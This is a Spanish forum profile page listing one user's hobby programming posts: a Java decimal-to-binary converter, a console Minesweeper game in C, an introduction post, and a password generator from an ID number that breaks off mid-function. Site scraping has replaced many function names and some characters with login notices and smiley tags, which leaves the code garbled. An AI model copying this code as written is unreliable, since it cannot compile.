Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - darkbouser

Páginas: [1]
1
Java / Conversor de números decimales a binario
« en: Diciembre 27, 2014, 01:23:10 pm »
 Saludos y felices fiestas.
 
   Quiero compartir un código que hice ayer por la noche porque estaba aburrido y me gusta estudiar números binarios. Hice un convertidor de números decimales a números binarios en java. Me gustó mucho la manera con que lo hice porque da exactamente el número de bits que le corresponde a cada número a través de una lista simple. Esta aplicación se puede hacer de muchas formas, solo he hecho esta y se que la manera más sencilla es con esta estructura dinámica. El resto fue con propiedades matemáticas y un método sencillo para transformar decimales a binario.
 
 A continuación, les comparto el código fuente de cada clase.

CLASE NODO

Código: Java
  1. public class Nodo {
  2.    
  3.     private int _data;
  4.     private Nodo _prox;
  5.    
  6.     public Nodo(int _data)
  7.     {
  8.         this._data = _data;
  9.         this._prox = null;
  10.     }
  11.  
  12.     public int getData() {
  13.         return _data;
  14.     }
  15.  
  16.     public void setData(int _data) {
  17.         this._data = _data;
  18.     }
  19.  
  20.     public Nodo getProx() {
  21.         return _prox;
  22.     }
  23.  
  24.     public void setProx(Nodo _prox) {
  25.         this._prox = _prox;
  26.     }
  27.    
  28.     public void Mostrar()
  29.     {
  30.         You are not allowed to view links. Register or Login.out.print(_data);
  31.     }
  32. }
  33.  

CLASE LISTA SIMPLE
Código: Java
  1. public class ListaSimple {
  2.    
  3.     private Nodo _cabeza;
  4.    
  5.     public ListaSimple()
  6.     {
  7.         this._cabeza = null;
  8.     }
  9.  
  10.     public Nodo getCabeza() {
  11.         return _cabeza;
  12.     }
  13.  
  14.     public void setCabeza(Nodo _cabeza) {
  15.         this._cabeza = _cabeza;
  16.     }
  17.    
  18.     public void InsertarPrimero(Nodo n)
  19.     {
  20.         if(_cabeza == null)
  21.         {
  22.            _cabeza = n;
  23.         }
  24.         else
  25.         {
  26.            n.setProx(_cabeza);
  27.            _cabeza = n;
  28.         }
  29.     }
  30.    
  31.     public void InsertaFinal(Nodo n)
  32.     {
  33.         if(_cabeza == null)
  34.         {
  35.             _cabeza = n;
  36.            
  37.         }
  38.         else
  39.         {
  40.             Nodo aux = _cabeza;
  41.            
  42.             while(aux.getProx() != null)
  43.             {
  44.                 aux = aux.getProx();
  45.             }
  46.            
  47.             aux.setProx(n);
  48.         }
  49.     }
  50.    
  51.     public Nodo EliminaPrimero()
  52.     {
  53.         if(_cabeza == null)
  54.         {
  55.             return null;
  56.         }
  57.         else if(_cabeza.getProx() == null)
  58.         {
  59.            Nodo aux = _cabeza;
  60.            _cabeza = null;
  61.            return aux;
  62.         }
  63.         else
  64.         {
  65.             Nodo aux = _cabeza;
  66.             _cabeza = aux.getProx();
  67.             aux.setProx(null);
  68.             return aux;
  69.            
  70.         }
  71.     }
  72.    
  73.  
  74.    
  75.     public void EliminarTodo()
  76.     {
  77.        int cont = 0;
  78.        Nodo aux = _cabeza;
  79.        
  80.        while(aux != null)
  81.        {
  82.            cont++;
  83.            aux = aux.getProx();
  84.        }
  85.        
  86.         for (int i = 0; i < cont; i++) {
  87.             this.EliminaPrimero();
  88.         }
  89.     }
  90.    
  91.     public void Mostrar()
  92.     {
  93.         Nodo aux = _cabeza;
  94.        
  95.         while(aux != null)
  96.         {
  97.             aux.Mostrar();
  98.             aux = aux.getProx();
  99.         }
  100.     }
  101.    
  102. }
  103.  

CLASE APLICACIÓN BINARIO

Código: Java
  1. public class Binario {
  2.  
  3.     /**
  4.      * @param args the command line arguments
  5.      */
  6.    
  7.    
  8.     public int ContarBits(int n ,Binario bin)
  9.     {
  10.      int x = 0;
  11.             for (int i = 1; i <= n; i++) {
  12.                if(bin.EsPotenciade2(i))
  13.                {
  14.                    x++;
  15.                }
  16.         }
  17.            
  18.             return x;
  19.     }
  20.    
  21.    
  22.     public void TransformarBinario(int n, Binario bin, ListaSimple ls)
  23.     {
  24.         int cont = bin.ContarBits(n, bin);
  25.        
  26.          for (int i = 1; i <= cont; i++) {
  27.              
  28.              if(n % 2 == 0)
  29.              {
  30.                  ls.InsertarPrimero(new Nodo(0));
  31.              }
  32.              else
  33.              {
  34.                  ls.InsertarPrimero(new Nodo(1));
  35.              }
  36.              
  37.              n = n / 2;
  38.         }
  39.      
  40.     }
  41.    
  42.     public boolean EsPotenciade2(int n)
  43.     {
  44.         return ((You are not allowed to view links. Register or Login.log(n) / You are not allowed to view links. Register or Login.log(2)) % 1 == 0);
  45.     }
  46.    
  47.    
  48.    
  49.    
  50.    
  51.     public static void main(You are not allowed to view links. Register or Login[] args) {
  52.        
  53.         Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  54.         ListaSimple ls = new ListaSimple();
  55.         Binario bin = new Binario();
  56.         int x = 0;
  57.         int num = 0;
  58.         int rsp = 1;
  59.         while(rsp == 1)
  60.         {    
  61.             You are not allowed to view links. Register or Login.out.println("Ingrese un numero");
  62.             num = sc.nextInt();
  63.             bin.ContarBits(num, bin);
  64.             bin.TransformarBinario(num, bin, ls);
  65.             ls.Mostrar();
  66.          
  67.             You are not allowed to view links. Register or Login.out.println("\n Desea convertir otro numero decimal a binario ? si(1), no(0) \n");
  68.             //SE INICIALIZA OTRA VEZ PARA SER UTILIZADO NUEVAMENTE
  69.             num = 0;
  70.             ls.EliminarTodo();
  71.             rsp = sc.nextInt();
  72.         }
  73.     }
  74.    
  75. }
  76.  
  77.  


 Eso fue todo. Espero que les haya gustado. Saludos otra vez y feliz año nuevo.

2
Códigos Fuentes / Buscaminas en C por darkbouser
« en: Octubre 19, 2014, 12:37:02 am »
Saludos, hace mucho tiempo que no paso por aquí, de vez en cuando entro a los foros y leo para aprender y para actualizarme. Como regalo de mi visita, compartiré con ustedes un sofisticado buscaminas que hice en C hace un tiempo, pero como ya no programo en C decidí compartirselo a ustedes. Nunca lo terminé del todo, me dio flojera :/ lo que no he terminado es el cronometro y algunas mejoras como inicializar todas las casillas cuando el juego termina.

    Para los que no sepan mucho de programación o esten aprendiendo en C, solo diré que el juego esta hecho con dos matrices, una en la que le muestre al usuario y otra interna llamada vectormuerte, es allí donde ocurren los cambios. El código esta bien estructurado y es bastante básico.

    El usuario puede elegir 3 niveles cada nivel tendrá minas diferentes  y además de eso el usuario puede bloquear o desbloquear casillas, saber cuando hay una mina cerca, es decir la típica jugabilidad es la misma.  Se juega por consola. Diviértanse.

Código: C
  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <time.h>
  5. #include <math.h>
  6. #include <conio.h>
  7. #include <windows.h>
  8.  
  9.  
  10. //PROTOTIPO DE FUNCIONES
  11.  
  12.  
  13.  
  14.  
  15. //FUNCIÓN PARA DARLE LA BIENVENIDA AL USUARIO Y MOSTRARLE LAS REGLAS DEL JUEGO
  16. void Bienvenida()
  17. {
  18.    char rsp;
  19.    You are not allowed to view links. Register or Login("\n Bienvenidos al buscaMinas Bou-Cecere V2.0\n");
  20.    
  21.    
  22.       You are not allowed to view links. Register or Login("\n Sabe usted como jugar BuscaMinas ? Si(Presione cualquier tecla), No(n)\n");      
  23.         You are not allowed to view links. Register or Login(" %c", &rsp);
  24.        
  25.       if (rsp == 'n'|| rsp == 'N')
  26.       {
  27.             You are not allowed to view links. Register or Login("cls");
  28.             You are not allowed to view links. Register or Login("\n Buscaminas es un juego basado en un tablero, en este caso de 8 filas\n");    
  29.             You are not allowed to view links. Register or Login("\n y 8 columnas. El juego, dependiendo del nivel que usted seleccione, \n");  
  30.             You are not allowed to view links. Register or Login("\n arrojara un numero de minas al tablero. Jugada tras jugada, debera \n");
  31.               You are not allowed to view links. Register or Login("\n ingresar una coordenada con dos posibilidades: abrir la casilla escogida\n");
  32.            You are not allowed to view links. Register or Login("\n o colocar una bandera 'B', indicando que cree que ahi se encuentra una mina.\n");
  33.            You are not allowed to view links. Register or Login("\n Al seleccionar una casilla si se encuentra una mina aparecera una 'X', de\n");
  34.            You are not allowed to view links. Register or Login("\n de lo contrario aparecera un numero, que indicara el numero de minas que\n");
  35.            You are not allowed to view links. Register or Login("\n se encuentran en el perimetro; asi: si aparece el numero 1, significa que\n");
  36.            You are not allowed to view links. Register or Login("\n hay una mina en el perimetro de esa casilla.\n");
  37.          You are not allowed to view links. Register or Login("\n El objetivo del buscaminas es lograr descubrir las casillas minadas, \n");
  38.          You are not allowed to view links. Register or Login("\n pero sin activarlas, es decir, localizarlas por descarte, prestando \n");
  39.          You are not allowed to view links. Register or Login("\n atencion a los cuadros numericos que ayudan a revelar la ubicacion de las \n");
  40.          You are not allowed to view links. Register or Login("\n minas\n");
  41.          You are not allowed to view links. Register or Login("\n \n");
  42.          You are not allowed to view links. Register or Login("\n EL jugador podra marcar las minas para bloquearlas y acumular puntos\n");
  43.          You are not allowed to view links. Register or Login("\n Si el jugador marca una casilla sin minas, entonces se le sumara un punto\n");
  44.          You are not allowed to view links. Register or Login("\n La partida habra terminado cuando el jugador active una mina\n");
  45.          You are not allowed to view links. Register or Login("\n Gana el jugador que obtenga mas puntos siempre y cuando el puntaje sea positivo\n");
  46.          You are not allowed to view links. Register or Login("pause");
  47.       }
  48.           else if  (rsp == 'S'|| rsp == 's')
  49.           {
  50.              You are not allowed to view links. Register or Login("\n Listo para jugar, solo \n");
  51.              You are not allowed to view links. Register or Login("pause");
  52.           }
  53. }
  54.  
  55. //FUNCIÓN PARA ELEGIR EL NIVEL DE DIFICULTAD
  56. void Eleccion(char *nivel){
  57.      
  58.      
  59.      You are not allowed to view links. Register or Login("cls");
  60.      You are not allowed to view links. Register or Login("\n Ingrese el nivel de dificultad en el cual desea jugar:\n");
  61.      You are not allowed to view links. Register or Login("\n Facil<1>, Intermedio <2>, Dificil <3>\n");
  62.      You are not allowed to view links. Register or Login("\n Facil:      para jugar con 3 minas en tablero.\n");
  63.      You are not allowed to view links. Register or Login("\n Intermedio: para jugar con 6 minas en tablero.\n");
  64.      You are not allowed to view links. Register or Login("\n Dificil:    para jugar con 10 minas en tablero.\n");
  65.      
  66.      do{                          // INICIO VALIDACION                                          
  67.      You are not allowed to view links. Register or Login(" %c", &*nivel);
  68.      You are not allowed to view links. Register or Login("cls");        
  69.              if(*nivel!='1' && *nivel!='2' && *nivel!='3'){
  70.                          
  71.                          You are not allowed to view links. Register or Login("\n El nivel ingresado es incorrecto por favor ingrese un dato valido\n\n");
  72.                          }
  73.                          }while( *nivel!='1' && *nivel!='2' && *nivel!='3' );     // FINAL VALIDACION
  74. }
  75.  
  76. void Inicializar(char vectormina[][8], char vectormuerte[][8])
  77. {
  78.    for(int i=0; i<8; i++)// For para la matriz base
  79.    {
  80.       for(int j=0; j<8; j++)
  81.       {
  82.          vectormina[i][j]='$';
  83.          vectormuerte[i][j]=0;
  84.       }
  85.    }
  86. }
  87.  
  88. void Random(char vectormuerte[][8], char *nivel, int i, int j){
  89.        
  90.    //CONDICIONES PARA LA VARIABLE NIVEL
  91.    if (*nivel == '1')
  92.    {
  93.       You are not allowed to view links. Register or Login("\n Ha seleccionado el Nivel Facil\n");
  94.       You are not allowed to view links. Register or Login("pause");
  95.      
  96.      
  97.       You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(NULL)); //SEMILLA DEL RANDOM 1
  98.      
  99.       for(int k =1; k <=3; k++)
  100.       {
  101.            
  102.          if(vectormuerte[i][j] != 'X'){
  103.                                  
  104.          i = (You are not allowed to view links. Register or Login() % <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
  105.          
  106.          j = (You are not allowed to view links. Register or Login() % <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
  107.         }
  108.          
  109.          else if(vectormuerte[i][j] == 'X')
  110.             {
  111.                    
  112.                    
  113.                     i = (You are not allowed to view links. Register or Login() % 7)+1;
  114.          
  115.                  j = (You are not allowed to view links. Register or Login() % 7)+1;    
  116.                    
  117.                     }
  118.                        
  119.          vectormuerte[i][j] = 'X';
  120.          
  121.      
  122.          
  123.          
  124.       }  
  125.    }
  126.    
  127.    else if (*nivel == '2')
  128.    {
  129.       You are not allowed to view links. Register or Login("\n Ha seleccionado el nivel Intermedio\n");
  130.       You are not allowed to view links. Register or Login("pause");
  131.      
  132.       You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(NULL)); //SEMILLA DEL RANDOM 2
  133.      
  134.       for(int k =1; k <=6; k++)
  135.       {
  136.          if(vectormuerte[i][j] != 'X'){
  137.                                  
  138.          i = (You are not allowed to view links. Register or Login() % <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
  139.          
  140.          j = (You are not allowed to view links. Register or Login() % <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
  141.         }
  142.          
  143.          else if(vectormuerte[i][j] == 'X')
  144.             {
  145.                    
  146.                    
  147.                     i = (You are not allowed to view links. Register or Login() % 7)+1;
  148.          
  149.                  j = (You are not allowed to view links. Register or Login() % 7)+1;    
  150.                    
  151.                     }
  152.          
  153.          vectormuerte[i][j] = 'X';
  154.      
  155.      
  156.          
  157.        }
  158.     }
  159.        
  160.    else if (*nivel == '3')
  161.    {
  162.       You are not allowed to view links. Register or Login("\n Ha seleccionado el nivel Dificil\n");
  163.       You are not allowed to view links. Register or Login("pause");
  164.      
  165.        
  166.      
  167.       You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(NULL)); //SEMILLA DEL RANDOM 3
  168.      
  169.       for(int k =1; k <=10; k++)
  170.       {
  171.          if(vectormuerte[i][j] != 'X'){
  172.                                  
  173.          i = (You are not allowed to view links. Register or Login() % <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
  174.          
  175.          j = (You are not allowed to view links. Register or Login() % <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
  176.         }
  177.          
  178.          else if(vectormuerte[i][j] == 'X')
  179.             {
  180.                    
  181.                    
  182.                     i = (You are not allowed to view links. Register or Login() % 7)+1;
  183.          
  184.                  j = (You are not allowed to view links. Register or Login() % 7)+1;    
  185.                    
  186.                     }
  187.                    
  188.                    
  189.                            
  190.                                  
  191.          vectormuerte[i][j] = 'X';
  192.          
  193.        
  194.        
  195.        
  196.          
  197.          
  198.        }
  199.    
  200.      }
  201. }   // FIN DEL VOID RANDOM
  202.  
  203. void Mostrar(char vectormina[][8])
  204. {
  205.       //system("cls");
  206.     You are not allowed to view links. Register or Login("\n\n");
  207.     You are not allowed to view links. Register or Login("                   ");
  208.     for(int i = 1; i <= 8; i++){
  209.            
  210.         You are not allowed to view links. Register or Login("( %i )", i);
  211.     }
  212.         You are not allowed to view links. Register or Login("\n");
  213.        
  214.     for(int i = 1; i <= 8; i++){
  215.         You are not allowed to view links. Register or Login("\n              ( %i )", i);
  216.         for(int j = 1; j <= 8; j++){
  217.                                              
  218.             You are not allowed to view links. Register or Login("[ %c ]", vectormina[i-1][j-1]);
  219.             }
  220.         You are not allowed to view links. Register or Login("\n");
  221.     }
  222. }
  223.  
  224. void Pregunta(char *condicion)
  225. {
  226.      You are not allowed to view links. Register or Login("\n Si desea desbloquear una casilla marque la letra 'c'\n");
  227.      You are not allowed to view links. Register or Login("\n Si desea marcar una casilla marque la letra 'b'\n");
  228.      
  229.      do
  230.      {
  231.                
  232.      You are not allowed to view links. Register or Login(" %c", &*condicion);
  233.      
  234.      if( *condicion!='c' && *condicion!='C' && *condicion!='b' && *condicion!='B')
  235.      {
  236.       You are not allowed to view links. Register or Login("\n    Opcion equivocada, seleccione una opcion valida ('c') o ('b')\n ");
  237.       }      
  238.      
  239.      }while( *condicion!='c' && *condicion!='C' && *condicion!='b' && *condicion!='B');
  240.          
  241.      }
  242.      
  243.  
  244.  void Bandera(char vectormuerte[][8], char vectormina[][8], int *clicki, int *clickj,  int *acum)
  245.  
  246. {
  247.       do
  248.       {
  249.           You are not allowed to view links. Register or Login("\n Ingrese la coordenana que desea marcar (en forma de fila y columna)\n");
  250.          
  251.           You are not allowed to view links. Register or Login("%i", &*clicki);
  252.           You are not allowed to view links. Register or Login("%i", &*clickj);
  253.          
  254.          if(vectormina[*clicki-1][*clickj-1]!='$'){
  255.                                                  
  256.           You are not allowed to view links. Register or Login("cls");                                          
  257.          
  258.           You are not allowed to view links. Register or Login("\n                La coordenada seleccionada ya fue utilizada\n");
  259.          
  260.           Mostrar(vectormina);
  261.          }
  262.          
  263.      }while (vectormina[*clicki-1][*clickj-1]!='$');  
  264.          
  265.        vectormina[*clicki-1][*clickj-1] = 0;
  266.        vectormina[*clicki-1][*clickj-1] = 'B';
  267.        
  268.        //CONDICION PARA SUMAR O RESTAR PUNTOS
  269.        if (vectormuerte[*clicki-1][*clickj-1] == 'X')
  270.            {
  271.                   *acum = *acum + 5;                            
  272.             }
  273.             else if (vectormuerte[*clicki-1][*clickj-1] != 'X')
  274.             {
  275.                *acum = *acum -2;    
  276.             }
  277.            
  278. }
  279.  
  280.  
  281.            
  282. void Coordenada(char vectormina[][8], char vectormuerte[][8], int *clicki, int *clickj, int posicion, int *acum)
  283. {
  284.      do
  285.      {
  286.      
  287.    You are not allowed to view links. Register or Login("\n Ingrese la coordenada que desea desbloquear (en forma de fila y columna)\n");
  288.    
  289.       You are not allowed to view links. Register or Login("%i", &*clicki);
  290.        You are not allowed to view links. Register or Login("%i", &*clickj);      
  291.        
  292.        if(vectormina[*clicki-1][*clickj-1]!='$' && vectormina[*clicki-1][*clickj-1]!='B'){
  293.                                                  
  294.           You are not allowed to view links. Register or Login("cls");                                        
  295.          
  296.           You are not allowed to view links. Register or Login("\n                La coordenada seleccionada ya fue utilizada\n\n");
  297.          
  298.           Mostrar(vectormina);
  299.          
  300.          }
  301.          
  302.      }while (vectormina[*clicki-1][*clickj-1]!='$' && vectormina[*clicki-1][*clickj-1]!='B');
  303.                                              
  304.          
  305.          if (vectormina[*clicki-1][*clickj-1]!='$')
  306.          {
  307.                   *acum++;
  308.                  
  309.                   }                                
  310.                                                  
  311.        
  312. if (vectormuerte[*clicki-1][*clickj-1] != 'X')
  313. {
  314.   *acum++;
  315.        
  316.  if ((*clicki-1)!=0 && (*clicki-1)!=7 && (*clickj-1)!=0 && (*clickj-1)!=7) //Calculo Matriz central
  317.  {
  318.  
  319.     for (int i=0; i<3; i++)
  320.     {
  321.         for (int j=0; j<3; j++)
  322.         {
  323.                        
  324.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  325.              {
  326.                 posicion++;
  327.                
  328.                 }
  329.         }
  330.      }  
  331.  
  332. }
  333.  
  334.      else if( (*clicki-1)==0 && (*clickj-1)!=0 && (*clickj-1)!=7) //Validacion Fila 0
  335.           {
  336.     for (int i=0; i<3; i++)
  337.     {
  338.         for (int j=0; j<3; j++)
  339.         {
  340.              do
  341.              {
  342.                            
  343.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  344.              {
  345.                 posicion++;
  346.                
  347.                 }
  348.              }while( (*clicki-1>0) );  
  349.         }
  350.      }  
  351. }      
  352.  
  353.  
  354.  
  355.        else if( (*clicki-1)==7 && (*clickj-1)!=0 && (*clickj-1)!=7) //Validacion Fila 7
  356.           {
  357.     for (int i=0; i<3; i++)
  358.     {
  359.         for (int j=0; j<3; j++)
  360.         {
  361.              do
  362.              {
  363.                            
  364.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  365.              {
  366.                 posicion++;
  367.                
  368.                 }
  369.              }while( (*clicki-1<<img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" /> );  
  370.         }
  371.      }  
  372. }        
  373.  
  374.     else if( (*clickj-1)==0 && (*clicki-1)!=0 && (*clicki-1)!=7) //Validacion columna 0
  375.           {
  376.     for (int i=0; i<3; i++)
  377.     {
  378.         for (int j=0; j<3; j++)
  379.         {
  380.              do
  381.              {
  382.                            
  383.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  384.              {
  385.                 posicion++;
  386.                
  387.                 }
  388.              }while( (*clickj-1<0) );  
  389.         }
  390.      }  
  391. }    
  392.  
  393.     else if( ( (*clickj-1)==7 && (*clicki-1)!=0 && (*clicki-1)!=7)) //Validacion columna 7
  394.           {
  395.     for (int i=0; i<3; i++)
  396.     {
  397.         for (int j=0; j<3; j++)
  398.         {
  399.              do
  400.              {
  401.                            
  402.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  403.              {
  404.                 posicion++;
  405.                
  406.                 }
  407.              }while( (*clickj-1<<img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" /> );  
  408.         }
  409.      }  
  410. }          
  411.  
  412.   else if( ( (*clickj-1)==0 && (*clicki-1)==0) ) //Validacion Esquina 1
  413.           {
  414.     for (int i=0; i<3; i++)
  415.     {
  416.         for (int j=0; j<3; j++)
  417.         {
  418.              do
  419.              {
  420.                            
  421.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  422.              {
  423.                 posicion++;
  424.                
  425.                 }
  426.              }while( (*clickj-1<0) && (*clicki-1<0) );  
  427.         }
  428.      }  
  429. }  
  430.  
  431.   else if( ( (*clickj-1)==0 && (*clicki-1)==7) ) //Validacion Esquina 2
  432.           {
  433.     for (int i=0; i<3; i++)
  434.     {
  435.         for (int j=0; j<3; j++)
  436.         {
  437.              do
  438.              {
  439.                            
  440.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  441.              {
  442.                 posicion++;
  443.                
  444.                 }
  445.              }while( (*clicki-1<0) && (*clickj-1<<img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" /> );  
  446.         }
  447.      }  
  448. }  
  449.  
  450.   else if( ( (*clickj-1)==7 && (*clicki-1)==0) ) //Validacion Esquina 3
  451.           {
  452.     for (int i=0; i<3; i++)
  453.     {
  454.         for (int j=0; j<3; j++)
  455.         {
  456.              do
  457.              {
  458.                            
  459.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  460.              {
  461.                 posicion++;
  462.                
  463.                 }
  464.              }while( (*clicki-1<<img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" /> && (*clickj-1<0) );  
  465.         }
  466.      }  
  467. }          
  468.    
  469.    else if( ( (*clickj-1)==7 && (*clicki-1)==7) ) //Validacion Esquina 4
  470.           {
  471.     for (int i=0; i<3; i++)
  472.     {
  473.         for (int j=0; j<3; j++)
  474.         {
  475.              do
  476.              {
  477.                            
  478.              if (vectormuerte[*clicki-2+i][*clickj-2+j]=='X')
  479.              {
  480.                 posicion++;
  481.                
  482.                 }
  483.              }while( (*clicki-1<7) && (*clickj-1<7) );  
  484.         }
  485.      }  
  486. }    
  487.  
  488.  
  489.                                                                
  490.             switch(posicion)
  491.             {
  492.            case 1:
  493.                  vectormuerte[*clicki-1][*clickj-1] = '1';                  
  494.                  break;  
  495.                            
  496.            case 2:
  497.                  vectormuerte[*clicki-1][*clickj-1] = '2';                  
  498.                  break;
  499.                      
  500.            case 3:
  501.                  vectormuerte[*clicki-1][*clickj-1] = '3';                  
  502.                  break;  
  503.                  
  504.            case 4:
  505.                  vectormuerte[*clicki-1][*clickj-1] = '4';                  
  506.                  break;  
  507.              
  508.            case 5:
  509.                  vectormuerte[*clicki-1][*clickj-1] = '5';                  
  510.                  break;  
  511.                  
  512.            case 6:
  513.                  vectormuerte[*clicki-1][*clickj-1] = '6';                  
  514.                  break;    
  515.                  
  516.            case 7:
  517.                  vectormuerte[*clicki-1][*clickj-1] = '7';                  
  518.                  break;                                
  519.                  
  520.            case 8:
  521.                  vectormuerte[*clicki-1][*clickj-1] = '8';                  
  522.                  break;      
  523.           }
  524.        
  525.      
  526.      
  527.    //Con esta instrucción, se desbloquea la casilla seleccionada y se copia el contenido de vectormuerte
  528.        
  529. }
  530.       vectormina[*clicki-1][*clickj-1] = 0;
  531.      vectormina[*clicki-1][*clickj-1] = vectormuerte[*clicki-1][*clickj-1];
  532. }
  533.  
  534. void cronometro(int s, int m, int h)
  535. {
  536.       while(1)
  537.    {
  538.       if (s >=60)
  539.       {
  540.          s = 0;
  541.          m++;
  542.          if (m >= 60)
  543.          {
  544.             m = 0;
  545.             h++;
  546.          }
  547.       }
  548.      
  549.       Sleep(1000); // funcion para que corra el ciclo en milisegundos
  550.       s++;
  551.    
  552.    
  553.    }
  554.    You are not allowed to view links. Register or Login();
  555. }
  556.  
  557.  
  558.  
  559. main()                                                                       //PROGRAMA PRINCIPAL
  560. {
  561.    char vectormina[8][8],nivel, vectormuerte[8][8], fin, condicion;
  562.    int  minas=0, clicki=0, clickj=0, posicion=0, acum = 0;  
  563.    int i=0,j=0;
  564.    int s=0, m=0, h=0; //contadores para el cronometro
  565.    
  566.    You are not allowed to view links. Register or Login("color f");
  567.    
  568.    //LLAMADO DE LAS FUNCIONES DECLARADAS  
  569.    Bienvenida();
  570.    Eleccion(&nivel);
  571.    Inicializar(vectormina, vectormuerte);
  572.     Random(vectormuerte, &nivel, i, j);
  573.    
  574.  
  575.        Mostrar(vectormina);
  576.    
  577.        
  578.        
  579.        do
  580.        {
  581.             Pregunta(&condicion);
  582.            
  583.             if (condicion=='b'|| condicion=='B')
  584.             {
  585.                        
  586.                  Bandera( vectormuerte, vectormina, &clicki, &clickj, &acum);
  587.            
  588.             }
  589.            
  590.             else if( condicion=='c' || condicion== 'C')
  591.             {
  592.                  
  593.                Coordenada(vectormina, vectormuerte, &clicki, &clickj, posicion, &acum);
  594.             }
  595.            
  596.            
  597.            
  598.           Mostrar(vectormina);
  599.          
  600.              if (vectormuerte[clicki-1][clickj-1] == 'X' && condicion=='c' || vectormuerte[clicki-1][clickj-1] == 'X' && condicion=='C')
  601.    {
  602.                
  603.       //LA PARTIDA HABRA TERMINADO
  604.       fin = 'X';
  605.      
  606.       for (int i=0; i<8; i++){
  607.            
  608.             for(int j=0; j<8; j++){
  609.                    
  610.                     if (vectormuerte[i][j]=='X')
  611.                     {
  612.                                                              
  613.                           vectormina[i][j]=0;
  614.                             vectormina[i][j]= vectormuerte[i][j];
  615.                            
  616.                             }  
  617.                            
  618.             }
  619.         }    
  620.               You are not allowed to view links. Register or Login("cls");  
  621.                        
  622.         Mostrar(vectormina);
  623.                                
  624.                                                                    
  625.       You are not allowed to view links. Register or Login("\n\n     :::::::::Usted ha perdido !x_x!   LA PARTIDA HA FINALIZADO:::::::::\n");
  626.       You are not allowed to view links. Register or Login("pause");
  627.       You are not allowed to view links. Register or Login("cls");
  628.       You are not allowed to view links. Register or Login("\n El puntaje obtenido en la partida es %i\n", acum);
  629.       You are not allowed to view links. Register or Login("\n El tiempo jugado fue:\n");
  630.       You are not allowed to view links. Register or Login("%i %i %i",h,m,s);
  631.       You are not allowed to view links. Register or Login("\n\n       ");
  632.       You are not allowed to view links. Register or Login("pause");
  633.    }
  634.          
  635.        } while (fin != 'X');
  636.        
  637.        
  638.  
  639. }    //FIN DE LA CONDICION DE LA VARIABLE NIVEL
  640.  

3
Presentaciones / Darkbouser returns
« en: Noviembre 28, 2013, 04:24:13 pm »
Hola a todos  :)  me hago llamar darkbouser. Estuve ausente por mucho tiempo (años) y estoy devuelta. Antrax has hecho un buen trabajo la comunidad ha crecido muchísimo y me sorprende que Devilboy siga por aquí  y con el mismo avatar de siempre.

saludos amigos

4
Códigos Fuentes / Un simple generador de contraseñas por darkbouser
« en: Noviembre 28, 2013, 03:24:58 am »
Acabo de hacer un generador de contraseñas de 4 dígitos tomadas como base de una cédula de identidad (documento de identificación en Venezuela) pero puede ser cualquier número de 8 dígitos. Esta elaborado de acuerdo a unas especificaciones que tiene comentado antes de las librerías de C.

Código: C
  1.  
  2. /* Dada una cedula de identidad, genere una clave de cuatro digintos, formada de acuerdo a las siguientes reglas:
  3.  1) El digito de las unidades en la clave sera el digito menos significativo del resultado de sumar los digitos mas y menos
  4.  significativos de la cedula de identidad.
  5.   2) El digito de las decenas en la clave sera el resto de dividir entre 9 a la suma de todos los digitos de la cedula
  6. 3) El digito de las centenas de la clave sera el resto de dividir entre 7 a la suma de los digitos pares exisitentes en la cedula
  7.  4) El digito de las unidades de mil en la clave será el digito mas significativo del resultado obtenido al multiplicar
  8.  todos los digitos, diferentes de cero, de la cedula de identidad */
  9.  #include <stdio.h>
  10.  #include <stdlib.h>
  11.  
  12.  
  13.  void cedula(int ci[10])
  14.  {
  15.     for(int i=1; i <= 8; i++)
  16.     {
  17.        You are not allowed to view links. Register or Login("\n Ingrese el %i numero de la ci\n", i);
  18.        You are not allowed to view links. Register or Login("%i", &ci[i]);
  19.     }
  20.  }
  21.  
  22.  void Mostrar(int ci[10])
  23.  {
  24.    
  25.    You are not allowed to view links. Register or Login("\n La cedula de indentidad ingresada es:\n");
  26.    for(int i =1; i <= 8; i++)
  27.    {
  28.       You are not allowed to view links. Register or Login("%i", ci[i]);
  29.    }
  30.    You are not allowed to view links. Register or Login("\n");
  31.    You are not allowed to view links. Register or Login("pause");
  32.  }
  33.  
  34.  void unidades(int ci[10], int *uni)
  35.  {
  36.     *uni = ci[1] + ci[8];
  37.  }
  38.  
  39.  void decena(int ci[10], int *dec)
  40.  {
  41.    int aux=0;
  42.    for(int i=1; i <= 8; i++)
  43.    {
  44.       aux = aux + ci[i];
  45.    }
  46.    
  47.    *dec = aux % 9;
  48.  }
  49.  
  50.  void centenas(int ci[10], int *cen)
  51.  {
  52.     int aux =0;
  53.    
  54.     for(int i= 1; i <= 8; i++)
  55.     {
  56.        if (ci[i] % 2 == 0)
  57.        {
  58.           aux = aux + ci[i];
  59.        }
